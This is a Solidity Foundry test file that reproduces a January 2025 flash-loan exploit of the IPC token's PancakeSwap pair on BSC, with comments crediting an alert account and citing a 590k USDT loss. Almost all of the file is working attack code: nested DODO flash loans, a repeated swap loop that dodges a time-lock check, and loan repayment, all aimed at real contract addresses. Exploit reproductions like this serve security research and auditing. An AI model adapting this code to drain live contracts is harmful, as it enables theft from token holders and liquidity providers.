src/test/2025-01/IPC_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "forge-std/Test.sol";
5import "../interface.sol";
6 
7// reason : To pump the price ,every sell will burn pairs token, that is terrible!
8// guy    : https://x.com/TenArmorAlert/status/1876663900663370056
9// tx     : https://app.blocksec.com/explorer/tx/bsc/0x5ef1edb9749af6cec511741225e6d47103e0b647d1e41e08649caaff66942a91?line=30 -->front run
10//        : https://app.blocksec.com/explorer/tx/bsc/0x3a3683119e1801821faa15c319cb9c8fb3fcf6ee92b1904a829d82c432e09a44?line=24 -->poor guys 
11// total loss : 590k usdt XD
12 
13contract ContractTest is Test {
14    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
15    address dvm1 = 0x6098A5638d8D7e9Ed2f952d35B2b67c34EC6B476;
16    address dvm2 = 0x0e15e47C3DE9CD92379703cf18251a2D13E155A7;
17    IERC20 IPC = IERC20(0xEAb0d46682Ac707A06aEFB0aC72a91a3Fd6Fe5d1);
18    IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);
19    Uni_Pair_V2 pair = Uni_Pair_V2(0xDe3595a72f35d587e96d5C7B6f3E6C02ed2900AB);
20    Uni_Router_V2 router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);
21 
22    uint256 borrow_1 = 256285582578788161478508;
23    uint256 borrow_2 = 77794276765052816860394;
24 
25    function setUp() external {
26        cheats.createSelectFork("bsc", 45561316 - 1);
27        // attacker buy sor
28        deal(address(this),0);
29        deal(address(USDT),address(this),0);
30    }
31 
32    function testExploit() external {
33        emit log_named_decimal_uint("[Begin] USDT balance before", USDT.balanceOf(address(this)), 18);
34        
35 
36        (bool success,) = dvm1.call(abi.encodeWithSignature("flashLoan(uint256,uint256,address,bytes)", 0, borrow_1, address(this), "1"));
37        require(success, "flashloan failed");
38 
39        emit log_named_decimal_uint("[End] USDT balance after", USDT.balanceOf(address(this)), 18);
40    }
41 
42    function dodoCall(address a, uint256 b, uint256 c, bytes memory d) public {
43        console.log(msg.sender);
44        if(msg.sender == address(dvm1)){
45            (bool success,) = dvm2.call(abi.encodeWithSignature("flashLoan(uint256,uint256,address,bytes)", 0, borrow_2, address(this), "1"));
46            require(success, "flashloan failed");
47            USDT.transfer(address(dvm1), borrow_1);
48        }
49 
50        if(msg.sender == address(dvm2)){
51            console.log("Pair balance",IPC.balanceOf(address(pair)));
52            console.log("USDT balance",USDT.balanceOf(address(this)));
53            
54            address[] memory path = new address[](2);
55 
56            
57            for(uint i = 0; i < 16; i++) {
58                path[0] = address(USDT);
59                path[1] = address(IPC);
60                uint256 usdtAmount = USDT.balanceOf(address(this)) - 10;
61                uint256[] memory values = router.getAmountsOut(usdtAmount, path);
62 
63                //为了绕过时间锁的检查，同步换1 usdt出来
64                pair.swap(1, values[1], address(this), abi.encode(usdtAmount));
65 
66                // 将IPC全部换成USDT
67                IPC.approve(address(router), type(uint256).max);
68                path[0] = address(IPC); 
69                path[1] = address(USDT);
70                router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
71                    IPC.balanceOf(address(this)),
72                    0,
73                    path,
74                    address(this),
75                    block.timestamp
76                );
77                
78                path[0] = address(USDT);
79                path[1] = address(IPC);
80            }
81 
82            
83            USDT.transfer(address(dvm2), borrow_2);
84        }
85    }
86 
87    function pancakeCall(address, uint256, uint256 amount1, bytes memory data) public {
88        uint256 usdt_amount = abi.decode(data, (uint256));
89        console.log("USDT transferd",usdt_amount);
90        //多换了1 usdt，所以多还1个
91        USDT.transfer(address(pair), usdt_amount+1);
92    }
93        
94 
95    function DVMFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {
96        dodoCall(sender, baseAmount, quoteAmount, data);
97    }
98 
99    function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {
100        dodoCall(sender, baseAmount, quoteAmount, data);
101    }
102 
103    receive() external payable {}
104}